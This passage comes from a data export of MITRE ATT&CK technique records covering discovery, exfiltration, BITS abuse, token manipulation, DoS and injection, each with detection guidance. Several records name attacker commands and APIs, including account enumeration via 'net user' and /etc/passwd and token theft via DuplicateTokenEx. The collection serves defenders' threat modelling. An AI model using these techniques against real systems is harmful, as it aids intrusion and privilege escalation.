Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).\\n\\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\",\"x_mitre_contributors\":[\"Mike Kemmerer\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials in Files](https://attack.mitre.org/techniques/T1081) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Browser Bookmark Discovery", modified:"2018-10-31T13:45:13.024Z", kill_chain_phases:["a5bf93ef-7233-4489-aa30-dd0bcf02e568"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", external_references:["68d08179-467d-4f57-86cb-15bb452b97e8"]}}, {_id:124, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:29.458Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_network_requirements\":true,\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\",\"Process use of network\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.\"}", description:"Data, such as sensitive documents, may be exfiltrated through the use of automated processing or [Scripting](https://attack.mitre.org/techniques/T1064) after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Automated Exfiltration", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:["176c7e1e-cda5-46c0-9d7d-412577a61554"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", external_references:["871cffb1-00f0-455a-891c-e64804cb66f0"]}}, {_id:127, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"API monitoring\",\"Packet capture\",\"Windows event logs\"],\"x_mitre_defense_bypassed\":[\"Firewall\",\"Host forensic analysis\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"BITS runs as a service and its status can be checked with the Sc query utility (<code>sc query bits</code>). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (<code>bitsadmin /list /allusers /verbose</code>). (Citation: Microsoft BITS)\\n\\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)  (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016)\\n\\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS)\",\"x_mitre_contributors\":[\"Ricardo Dias\",\"Red Canary\"],\"x_mitre_permissions_required\":[\"User\",\"Administrator\",\"SYSTEM\"]}", description:"Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086)  (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"BITS Jobs", modified:"2019-07-16T20:02:53.027Z", kill_chain_phases:["d6cb7767-fe11-4ccb-a949-3c1fcea70f7b", "572acd8d-0afb-401d-bc96-f0d11defaa1b"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", external_references:["9694fcac-6cb7-4c6d-9107-d0d06bb77eae", "76f7983c-3611-4264-9271-0b2fae3fc712", "65afcfa9-14d2-4dcf-9c95-6d746c37851e", "c6e432f0-2657-45de-bc49-c912ae01ce28", "8247f0b3-3cdf-4533-a149-2e2403e9aaa0", "69dd5df6-b784-4557-b097-fcc7b7e340ea", "b1991fd5-2785-4a29-9ccd-f69bc08629a9", "b01fc2f7-2d0c-4f05-ba59-ebb60bd0c637", "86c8f05a-7d09-4f58-8b80-4b2297c3264a"]}}, {_id:49, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:06.988Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\",\"Office 365\",\"Azure AD\"],\"x_mitre_data_sources\":[\"Azure activity logs\",\"Office 365 account logs\",\"API monitoring\",\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_version\":\"2.0\",\"x_mitre_detection\":\"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).\",\"x_mitre_contributors\":[\"Microsoft Threat Intelligence Center (MSTIC)\",\"Travis Smith, Tripwire\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Adversaries may attempt to get a listing of local system or domain accounts. \n\n### Windows\n\nExample commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the [Net](https://attack.mitre.org/software/S0039) utility or through use of [dsquery](https://attack.mitre.org/software/S0105). If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) may apply.\n\n### Mac\n\nOn Mac, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.\n\n### Linux\n\nOn Linux, local users can be enumerated through the use of the <code>/etc/passwd</code> file which is world readable. In mac, this same file is only used in single-user mode in addition to the <code>/etc/master.passwd</code> file.\n\nAlso, groups can be enumerated through the <code>groups</code> and <code>id</code> commands.\n\n### Office 365 and Azure AD\n\nWith authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance)\n\nAzure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe <code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Account Discovery", modified:"2019-10-08T21:05:16.654Z", kill_chain_phases:["c61ed3ff-a14c-4d1e-beba-ef59d82b5f87"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", external_references:["850bfded-0a49-4b22-850c-a94b1f607b92", "35cf207c-8cf4-40e1-ae62-442ed544fde0", "c49fe9df-a85c-4ca1-9f53-8436f18ab148", "c5f50913-df84-4b41-8901-7ca40996a15e", "fcd01ee1-58b4-4ff5-81ef-e7ae57e9394d", "82ebbfc9-5ee2-4851-a3ae-5f08fadb6f59", "652e617c-5324-44cf-8030-70c547a4bb79", "959038b4-84d2-4e6e-90b3-65b63b0408fe"]}}, {_id:2, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_effective_permissions\":[\"SYSTEM\"],\"x_mitre_data_sources\":[\"API monitoring\",\"Access tokens\",\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n\\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \\n\\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code>(Citation: Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code>(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\\n\\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\",\"x_mitre_contributors\":[\"Tom Ueltschi @c_APT_ure\",\"Travis Smith, Tripwire\",\"Robby Winchester, @robwinchester3\",\"Jared Atkinson, @jaredcatkinson\"],\"x_mitre_permissions_required\":[\"User\",\"Administrator\"]}", description:"Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.(Citation: Microsoft runas)\n  \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAccess tokens can be leveraged by adversaries through three methods:(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n**Token Impersonation/Theft** - An adversary creates a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user's security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.\n\n**Create Process with a Token** - An adversary creates a new access token with <code>DuplicateToken(Ex)</code> and uses it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.\n\n**Make and Impersonate Token** - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session's access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread.\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.\n\nMetasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges.(Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Access Token Manipulation", modified:"2019-10-14T20:45:04.451Z", kill_chain_phases:["2d9ee9e4-62e1-4b55-a6ba-6781d4f7f5d5", "9b4c1131-7765-4c2b-84a0-1a39f4eefc6c"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", external_references:["90691676-8914-4b47-a0eb-4bcf7448ded7", "9f4aa841-4f22-4b78-b167-0359b6f136b5", "df1a3302-ecd7-4f0d-bc8a-6ef5d51ab7c0", "73dab732-84c7-4cea-8fc3-d46edec83cfe", "c0a5c097-f175-45b6-9bee-c004725f3fe4", "d067dfda-29ce-4f5f-842f-cd234e528746", "68a66d17-6c9a-40ae-8dc3-85f2789d5264", "505d2a46-95f3-43c1-b5e4-26233ee3b29b", "99e29292-4805-4e2f-9bc2-7f6768731f26", "d580b4ff-0fbe-4713-a921-05690a5607cd", "fac04739-4177-4a9e-b585-b5d3988e5d3f"]}}, {_id:44, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-10-09T18:48:31.906Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Windows event logs\",\"Process command-line parameters\",\"Process monitoring\"],\"x_mitre_impact_type\":[\"Availability\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\\n\\n* Event ID 4723 - An attempt was made to change an account's password\\n* Event ID 4724 - An attempt was made to reset an account's password\\n* Event ID 4726 - A user account was deleted\\n* Event ID 4740 - A user account was locked out\\n\\nAlerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\",\"x_mitre_permissions_required\":[\"User\",\"Administrator\",\"root\",\"SYSTEM\"]}", description:"Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\n\nAdversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Account Access Removal", modified:"2019-10-14T23:29:24.908Z", kill_chain_phases:["253c9507-e92b-42b2-9116-adb915007518"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0", external_references:["ad06a0c2-417d-458c-9fbe-28d6947bdd9c", "319ad482-70a6-4b3e-a4a2-3edb5518b367", "644bac94-d54c-4c1c-a923-6c6b05ce6966"]}}, {_id:627, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"Windows\",\"macOS\"],\"x_mitre_data_sources\":[\"Authentication logs\",\"Windows Error Reporting\",\"Process monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.\",\"x_mitre_contributors\":[\"John Lambert, Microsoft Threat Intelligence Center\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Exploitation for Credential Access", modified:"2019-07-25T18:56:25.151Z", kill_chain_phases:["2b2fe7c6-aa67-4940-bd12-934fdd8f0169"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", external_references:["f90ab294-f6e3-441e-800b-aaf625086112", "2dc711c7-b3db-4532-aa0c-00e3c497c4f4", "07d8a5fe-fdbe-40ee-b395-675be3c75427"]}}, {_id:1045, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:32.259Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_network_requirements\":true,\"x_mitre_data_sources\":[\"Packet capture\",\"Netflow/Enclave netflow\",\"Process use of network\",\"Malware reverse engineering\",\"Process monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.\"}", description:"Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Multiband Communication", modified:"2019-07-18T16:28:55.259Z", kill_chain_phases:["4e526ebf-4d8f-4618-8d78-ab5dcf7ba98c"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091", external_references:["a4bf7d2c-3680-494a-aeea-56ddbc5ed3b2", "c8fc0f7d-83ec-49d1-a019-3b460ab46e2f"]}}, {_id:645, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:44.421Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Authentication logs\"],\"x_mitre_version\":\"2.0\",\"x_mitre_detection\":\"Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\",\"x_mitre_contributors\":[\"Daniel Oakley\",\"Travis Smith, Tripwire\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028) can also be used externally.\n\nAdversaries may use remote services to initially access and/or persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of [Redundant Access](https://attack.mitre.org/techniques/T1108) during an operation.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"External Remote Services", modified:"2019-07-17T21:15:42.805Z", kill_chain_phases:["4759db76-f6ba-42f6-9a6f-d7ad2d9895b6", "7d36790f-06a2-4693-b897-a8bd5efcc2ce"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", external_references:["078f6759-0af7-4eff-a07c-3d01348ec25e", "345c14ee-e403-43c5-9335-c028b4ffcf53", "3525b13a-7b41-45b1-9d29-b30338b6206b"]}}, {_id:1056, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:11.147Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Kernel drivers\",\"API monitoring\",\"Process command-line parameters\"],\"x_mitre_defense_bypassed\":[\"Signature-based detection\",\"Host forensic analysis\",\"Anti-virus\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\\n\\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\\n\\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The <code>dir /r</code> command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a <code>-stream</code> parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\",\"x_mitre_contributors\":[\"Red Canary\",\"Oddvar Moe, @oddvarmoe\"],\"x_mitre_system_requirements\":[\"NTFS partitioned hard drive\"]}", description:"Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"NTFS File Attributes", modified:"2019-06-25T12:17:31.157Z", kill_chain_phases:["2b8e7d20-0f74-4ee0-829c-3600fe5893fe"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", external_references:["89b7a15e-675f-4d67-87c8-69830111af95", "a5bd4bf1-030e-4ec2-a206-b34709e01e73", "82a7a765-6a2a-43ca-b9e7-00d9f17e59c9", "fa87cc6d-e862-41ed-b279-59cfbdd291b3", "1b063ce6-db77-40bd-b459-8bbe8c8234ff", "deaee247-54d1-4c89-9799-f584214ef14d", "7cf5edc2-5b13-4a94-97bc-b96331938350", "2f481a79-bc43-4de5-a590-7aa5b04f00e4", "98bdbf92-98a1-4fa4-8eed-a3d551daf0c7", "1974b34b-27a3-4db2-bb0c-fbd427d7be6a"]}}, {_id:651, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"API monitoring\",\"Process monitoring\"],\"x_mitre_defense_bypassed\":[\"Anti-virus\",\"Host intrusion prevention systems\",\"Data Execution Prevention\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Endgame Process Injection July 2017)\",\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\"]}", description:"Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Extra Window Memory Injection", modified:"2018-10-31T13:45:13.024Z", kill_chain_phases:["22647514-0534-4e90-812e-b551c858d620", "95f245b0-6717-4679-9c8c-9ff414bdbbdb"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0", external_references:["78abddb1-64db-4ab7-962e-28d06a7ab946", "cb326899-de31-4438-98dd-ff244591d34e", "94e59584-f0b8-427b-9cd6-5390e9512ec9", "4c42404b-f11b-47be-974f-5ece9f6a19c3", "616125b1-0f14-49a4-9347-a8e631c8db71", "6543e784-0278-4ceb-a349-542195b9c25a", "ea49ec7f-65a0-464b-b40b-8036d07edfdb", "1a194445-dac6-48ce-9126-ff3903b70f00"]}}, {_id:1074, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-04-17T20:23:15.105Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Sensor health and status\",\"Network protocol analysis\",\"Netflow/Enclave netflow\",\"Network intrusion detection system\",\"Network device logs\"],\"x_mitre_impact_type\":[\"Availability\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.\"}", description:"Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). Many different methods to accomplish such network saturation have been observed, but most fall into two main categories: Direct Network Floods and Reflection Amplification.\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own 